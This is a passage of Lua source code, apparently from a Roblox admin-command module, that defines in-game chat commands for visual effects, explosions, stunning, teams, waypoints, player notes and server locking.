7589 local Players = STRING:Scan(Arguments[1], Speaker)
7590 for _,Player in pairs(Players) do
7591 if Player.Character and Player.Character:FindFirstChild("Torso") then
7592 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7593 end
7594 end
7595 end};
7596
7597 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7598 local Players = STRING:Scan(Arguments[1], Speaker)
7599 for _,Player in pairs(Players) do
7600 if Player.Character and Player.Character:FindFirstChild("Torso") then
7601 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7602 end
7603 end
7604 end};
7605
7606 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7607 local Players = STRING:Scan(Arguments[1], Speaker)
7608 for _,Player in pairs(Players) do
7609 if Player.Character and Player.Character:FindFirstChild("Torso") then
7610 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7611 if Get:IsA("Sparkles") then
7612 Get:Destroy()
7613 end
7614 end
7615 end
7616 end
7617 end};
7618
7619 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7620 local Players = STRING:Scan(Arguments[1], Speaker)
7621 for _,Player in pairs(Players) do
7622 if Player.Character and Player.Character:FindFirstChild("Torso") then
7623 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7624 if Get:IsA("Fire") then
7625 Get:Destroy()
7626 end
7627 end
7628 end
7629 end
7630 end};
7631
7632 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7633 local Players = STRING:Scan(Arguments[1], Speaker)
7634 for _,Player in pairs(Players) do
7635 if Player.Character and Player.Character:FindFirstChild("Torso") then
7636 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7637 if Get:IsA("Smoke") then
7638 Get:Destroy()
7639 end
7640 end
7641 end
7642 end
7643 end};
7644
7645 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7646 local Players = STRING:Scan(Arguments[1], Speaker)
7647 for _,Player in pairs(Players) do
7648 if Player.Character and Player.Character:FindFirstChild("Torso") then
7649 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7650 local Boom = Instance.new("Explosion", Workspace)
7651 Boom.Position = Player.Character.Torso.Position
7652 end
7653 end
7654 end};
7655
7656 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7657 local Players = STRING:Scan(Arguments[1], Speaker)
7658 for _,Player in pairs(Players) do
7659 if Player.Character and Player.Character:FindFirstChild("Torso") then
7660 coroutine.wrap(function() for i = 1,50 do
7661 local Boom = Instance.new("Explosion", Workspace)
7662 Boom.Position = Player.Character.Torso.Position
7663 wait()
7664 end end)()
7665 coroutine.wrap(function() for i = 1,5 do
7666 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7667 end end)()
7668 end
7669 end
7670 end};
7671
7672 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7673 local Players = STRING:Scan(Arguments[1], Speaker)
7674 for _,Player in pairs(Players) do
7675 if Player.Character and Player.Character:FindFirstChild("Torso") then
7676 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7677 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7678 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7679 end
7680 end
7681 end};
7682
7683 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7684 local Players = STRING:Scan(Arguments[1], Speaker)
7685 for _,Player in pairs(Players) do
7686 if Player.Character and Player.Character:FindFirstChild("Torso") then
7687 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7688 end
7689 end
7690 end};
7691
7692 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7693 local Players = STRING:Scan(Arguments[1], Speaker)
7694 for _,Player in pairs(Players) do
7695 if Player.Character then
7696 Player.Character.Parent = Server.Lighting
7697 end
7698 end
7699 end};
7700
7701 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7702 local Players = STRING:Scan(Arguments[1], Speaker)
7703 for _,Player in pairs(Players) do
7704 if Player.Character then
7705 Player.Character.Parent = Server.Workspace
7706 Player.Character:MakeJoints()
7707 end
7708 end
7709 end};
7710
7711 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7712 local Players = STRING:Scan(Arguments[1], Speaker)
7713 for _,Player in pairs(Players) do
7714 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7715 Player.Character.Humanoid.PlatformStand = true
7716 end
7717 end
7718 end};
7719
7720 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7721 local Players = STRING:Scan(Arguments[1], Speaker)
7722 for _,Player in pairs(Players) do
7723 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7724 Player.Character.Humanoid.PlatformStand = false
7725 end
7726 end
7727 end};
7728
7729 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7730 local Players = STRING:Scan(Arguments[1], Speaker)
7731 for _,Player in pairs(Players) do
7732 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7733 Player.Character.Humanoid.Jump = true
7734 end
7735 end
7736 end};
7737
7738 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7739 local Players = STRING:Scan(Arguments[1], Speaker)
7740 for _,Player in pairs(Players) do
7741 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7742 Player.Character.Humanoid.Sit = true
7743 end
7744 end
7745 end};
7746
7747 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7748 local Players = STRING:Scan(Arguments[1], Speaker)
7749 for _,Player in pairs(Players) do
7750 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7751 Player.Character.Humanoid.Sit = false
7752 end
7753 end
7754 end};
7755
7756 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7757 local Players = STRING:Scan(Arguments[1], Speaker)
7758 for _,Player in pairs(Players) do
7759 if Player.Character and Player.Character:FindFirstChild("Torso") then
7760 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7761 end
7762 end
7763 end};
7764
7765 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7766 local Players = STRING:Scan(Arguments[1], Speaker)
7767 for _,Player in pairs(Players) do
7768 if Player.Character and Player.Character:FindFirstChild("Torso") then
7769 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7770 end
7771 end
7772 end};
7773
7774 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7775 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7776 end};
7777
7778 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7779 local Color = "Blue"
7780 local String = Arguments[2]
7781 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7782 if #ChatSplit >= 2 then
7783 if string.lower(ChatSplit[1]) == "green" then
7784 Color = "Green"
7785 String = ChatSplit[2]
7786 elseif string.lower(ChatSplit[1]) == "red" then
7787 Color = "Red"
7788 String = ChatSplit[2]
7789 end
7790 end
7791 local Players = STRING:Scan(Arguments[1], Speaker)
7792 for _,Player in pairs(Players) do
7793 if Player.Character and Player.Character:FindFirstChild("Head") then
7794 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7795 end
7796 end
7797 end};
7798
7799 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7800 local Players = STRING:Scan(Arguments[1], Speaker)
7801 for _,Player in pairs(Players) do
7802 if Player.Character then
7803 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7804 end
7805 end
7806 end};
7807
7808 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7809 local Players = STRING:Scan(Arguments[1], Speaker)
7810 local ID = nil
7811 if tonumber(Arguments[2]) ~= nil then
7812 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7813 else
7814 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7815 for _,Face in pairs(FaceTable) do
7816 if string.lower(Arguments[2]) == string.lower(Face) then
7817 ID = FaceID
7818 break
7819 end
7820 end
7821 end
7822 end
7823 if ID then
7824 for _,Player in pairs(Players) do
7825 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7826 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7827 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7828 end
7829 end
7830 end
7831 end};
7832
7833 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7834 local Players = STRING:Scan(Arguments[1], Speaker)
7835 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7836 for _,Player in pairs(Players) do
7837 if Player.Character and Player.Character:FindFirstChild("Head") then
7838 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7839 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7840 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7841 end
7842 end
7843 end};
7844
7845 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7846 local Players = STRING:Scan(Arguments[1], Speaker)
7847 for _,Player in pairs(Players) do
7848 if Player.Character and Player.Character:FindFirstChild("Head") then
7849 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7850 end
7851 end
7852 end};
7853
7854 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7855 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7856 end, Http = true};
7857
7858 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7859 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7860 end, Http = true};
7861
7862 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7863 local Players = STRING:Scan(Arguments[1], Speaker)
7864 for _,Player in pairs(Players) do
7865 local ExistingData = Player:LoadInstance("Data")
7866 if ExistingData == nil then
7867 ExistingData = Instance.new("Configuration")
7868 end
7869 ExistingData.Name = "Player Data"
7870 local Key = Instance.new("Configuration", ExistingData)
7871 Key.Name = Arguments[2]
7872 Player:SaveInstance("Data", ExistingData)
7873 end
7874 end};
7875
7876 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7877 local Players = STRING:Scan(Arguments[1], Speaker)
7878 local Data = Arguments[2]
7879 for _,Player in pairs(Players) do
7880 local ExistingData = Player:LoadInstance("Data")
7881 if ExistingData ~= nil then
7882 if string.lower(Data) == "all" then
7883 ExistingData:ClearAllChildren()
7884 else
7885 for _,DataObj in pairs(ExistingData:GetChildren()) do
7886 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7887 DataObj:Destroy()
7888 end
7889 end
7890 end
7891 end
7892 Player:SaveInstance("Data", ExistingData)
7893 end
7894 end};
7895
7896 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7897 local Players = STRING:Scan(Arguments[1], Speaker)
7898 local DataSet = {}
7899 for _,Player in pairs(Players) do
7900 local ExistingData = Player:LoadInstance("Data")
7901 if ExistingData ~= nil then
7902 if #ExistingData:GetChildren() ~= 0 then
7903 for _,Data in pairs(ExistingData:GetChildren()) do
7904 table.insert(DataSet, Player.Name..": "..Data.Name)
7905 end
7906 else
7907 table.insert(DataSet, "Data does not exist for "..Player.Name)
7908 end
7909 else
7910 table.insert(DataSet, "Data does not exist for "..Player.Name)
7911 end
7912 end
7913 GUI:ListGui(Speaker, "Notes", DataSet)
7914 end};
7915
7916 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7917 local Players = STRING:Scan(Arguments[1], Speaker)
7918 for _,Player in pairs(Players) do
7919 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7920 Player.Character.Humanoid.WalkSpeed = 16
7921 end
7922 end
7923 end};
7924
7925 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7926 local Players = STRING:Scan(Arguments[1], Speaker)
7927 for _,Player in pairs(Players) do
7928 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7929 Player.Character.Humanoid.WalkSpeed = -16
7930 end
7931 end
7932 end};
7933
7934 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7935 local TeamColor = BrickColor.random()
7936 local TeamName = Arguments[1]
7937 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7938 if #TeamNameSplit >= 2 then
7939 local Color = TeamNameSplit[1]
7940 local NewTeamName = TeamNameSplit[2]
7941 if Color == "Medium stone grey" then
7942 TeamColor = BrickColor.new(Color)
7943 TeamName = NewTeamName
7944 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7945 TeamColor = BrickColor.new(Color)
7946 TeamName = NewTeamName
7947 elseif Colors[string.upper(Color)] then
7948 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7949 TeamName = NewTeamName
7950 end
7951 end
7952
7953 local NewTeam = Instance.new("Team", Server.Teams)
7954 NewTeam.TeamColor = TeamColor
7955 NewTeam.Name = TeamName
7956 end};
7957
7958 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7959 local Players = STRING:Scan(Arguments[1], Speaker)
7960 for _,Player in pairs(Players) do
7961 Player.Neutral = true
7962 end
7963 end};
7964
7965 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7966 local Players = STRING:Scan(Arguments[1], Speaker)
7967 if string.lower(Arguments[2]) == "none" then
7968 for _,Player in pairs(Players) do
7969 Player.Neutral = true
7970 end
7971 else
7972 for _,Obj in pairs(Server.Teams:GetChildren()) do
7973 if Obj:IsA("Team") then
7974 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7975 for _,Player in pairs(Players) do
7976 Player.Neutral = false
7977 Player.TeamColor = Obj.TeamColor
7978 end
7979 end
7980 end
7981 end
7982 end
7983 end};
7984
7985 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7986 for _,Obj in pairs(Server.Teams:GetChildren()) do
7987 if Obj:IsA("Team") then
7988 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7989 for _,Player in pairs(Server.Players:GetPlayers()) do
7990 if Player.TeamColor == Obj.TeamColor then
7991 Player.Neutral = true
7992 end
7993 end
7994 Obj:Destroy()
7995 end
7996 end
7997 end
7998 end};
7999
8000 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8001 for _,Player in pairs(Server.Players:GetPlayers()) do
8002 Player.Neutral = true
8003 end
8004 for _,Obj in pairs(Server.Teams:GetChildren()) do
8005 if Obj:IsA("Team") then
8006 Obj:Destroy()
8007 end
8008 end
8009 end};
8010
8011 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8012 for _,Player in pairs(Server.Players:GetPlayers()) do
8013 GUI:Countdown(Player, Arguments[1])
8014 end
8015 end};
8016
8017 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8018 local Players = STRING:Scan(Arguments[1], Speaker)
8019 for _,Player in pairs(Players) do
8020 if Player:FindFirstChild("Backpack") then
8021 CORE:ExecuteResource("ShowAd", Player.Backpack)
8022 end
8023 end
8024 end};
8025
8026 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8027 local Players = STRING:Scan(Arguments[1], Speaker)
8028 for _,Player in pairs(Players) do
8029 if Player.Character then
8030 for PosName,WP in pairs(Waypoints) do
8031 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8032 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8033 break
8034 end
8035 end
8036 end
8037 end
8038 end};
8039
8040 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8041 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8042 end};
8043
8044 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8045 local Num = 0
8046 for PosName,WP in pairs(Waypoints) do
8047 Num = Num + 1
8048 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8049 Waypoints[PosName] = nil
8050 end
8051 end
8052 end};
8053
8054 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8055 local WaypointHolder,WaypointRaw = {},{}
8056 for Name, WP in pairs(Waypoints) do
8057 local View = Name..": "..tostring(WP)
8058 table.insert(WaypointHolder, View)
8059 WaypointRaw[View] = WP
8060 end
8061 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8062 Clicked.Event:connect(function(Text)
8063 local Waypoint = WaypointRaw[Text]
8064 if Waypoint then
8065 if Speaker.Character then
8066 Speaker.Character:MoveTo(Waypoint)
8067 end
8068 end
8069 end)
8070 end};
8071
8072 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8073 local Players = STRING:Scan(Arguments[1], Speaker)
8074 local List = {}
8075 for _,Player in pairs(Players) do
8076 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8077 end
8078 GUI:ListGui(Speaker, "Listed Players", List)
8079 end};
8080
8081 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8082 if tonumber(Arguments[1]) then
8083 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8084 else
8085 local Players = STRING:Scan(Arguments[1], Speaker)
8086 for _,Player in pairs(Players) do
8087 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8088 end
8089 end
8090 end};
8091
8092 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8093 local Players = STRING:Scan(Arguments[1], Speaker)
8094 local Friends,OneFriend = {}, false
8095 for _,Player in pairs(Players) do
8096 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8097 --[[if Player:IsBestFriendsWith(User.UserId) then
8098 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8099 OneFriend = true
8100 ]]
8101 if Player:IsFriendsWith(User.UserId) then
8102 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8103 OneFriend = true
8104 end
8105 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8106 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8107 end
8108 end end
8109 end
8110 GUI:ListGui(Speaker, "Friend List", Friends)
8111 end};
8112
8113 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8114 Settings.ServerLocked = true
8115 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8116 end};
8117
8118 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8119 Settings.ServerLocked = false
8120 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8121 end};
8122
8123 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8124 local OldAge = Settings.MinimumAge
8125 local Age = tostring(Arguments[1])
8126 if Age then
8127 Settings.MinimumAge = Age
8128 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8129 end
8130 end};
8131
8132 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8133 if Settings.VIPAdminID <= 1 then
8134 MARKET:PromptPurchase(Speaker, VIPAdminID)
8135 else
8136 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8137 end
8138 end};
8139
8140 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8141 if Settings.VIPMemberID <= 1 then
8142 MARKET:PromptPurchase(Speaker, VIPMemberID)
8143 else
8144 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8145 end
8146 end};
8147
8148 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8149 if tonumber(Arguments[2]) then
8150 local Players = STRING:Scan(Arguments[1], Speaker)
8151 local Size = tonumber(Arguments[2])+25
8152 for _,Player in pairs(Players) do
8153 if Player.Character then
8154 if Player.Character:FindFirstChild("Head") then
8155 if Player.Character.Head:FindFirstChild("Mesh") then
8156 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8157 end
8158 end
8159 end
8160 end
8161 end
8162 end};
8163
8164 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8165 local Players = STRING:Scan(Arguments[1], Speaker)
8166 for _,Player in pairs(Players) do
8167 if Player.Character and Player.Character:FindFirstChild("Torso") then
8168 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8169 Player.Character.Parent = nil
8170 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8171 end
8172 end
8173 end};
8174
8175 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8176 GUI:SettingsGui(Speaker)
8177 end};
8178
8179 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8180 if tonumber(Arguments[2]) then
8181 local Players = STRING:Scan(Arguments[1], Speaker)
8182 local List = {}
8183 for _,Player in pairs(Players) do
8184 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8185 table.insert(List, Player.Name)
8186 end
8187 end
8188 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8189 end
8190 end};
8191
8192 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8193 local Players = STRING:Scan(Arguments[1], Speaker)
8194 for _,Player in pairs(Players) do
8195 if Player.Character and Player.Character:FindFirstChild("Head") then
8196 local Char = Player.Character
8197 Char:BreakJoints()
8198 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8199 Obj.Anchored = true
8200 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8201 local Decal = Instance.new("Decal", Obj)
8202 Decal.Texture = "rbxassetid://178913323"
8203 Decal.Face = Face
8204 end
8205 end)
8206 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8207 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8208 Sound1:Play() Sound2:Play()
8209 coroutine.wrap(function()
8210 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8211 repeat wait()
8212 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8213 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8214 Obj.Transparency = math.random(0,30)/100
8215 Obj.Reflectance = math.random(0,50)/100
8216 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8217 end)
8218 until Char ~= Player.Character or Char.Parent == nil
8219 end)()
8220 end
8221 end
8222 end, Hidden = true};
8223
8224 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8225 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8226 end, Http = true};
8227
8228 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8229 local Players = STRING:Scan(Arguments[1], Speaker)
8230 for _,Player in pairs(Players) do
8231 if Player.Character then
8232 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8233 Obj.Material = "Neon"
8234 end)
8235 end
8236 end
8237 end};
8238
8239 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8240 local Players = STRING:Scan(Arguments[1], Speaker)
8241 for _,Player in pairs(Players) do
8242 if Player.Character then
8243 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8244 Obj.Material = "Plastic"
8245 end)
8246 end
8247 end
8248 end};
8249
8250 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8251 local Players = STRING:Scan(Arguments[1], Speaker)
8252 for _,Player in pairs(Players) do
8253 if Player.Character then
8254 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8255 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8256 end)
8257 end
8258 end
8259 end, Hidden = true};
8260
8261 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
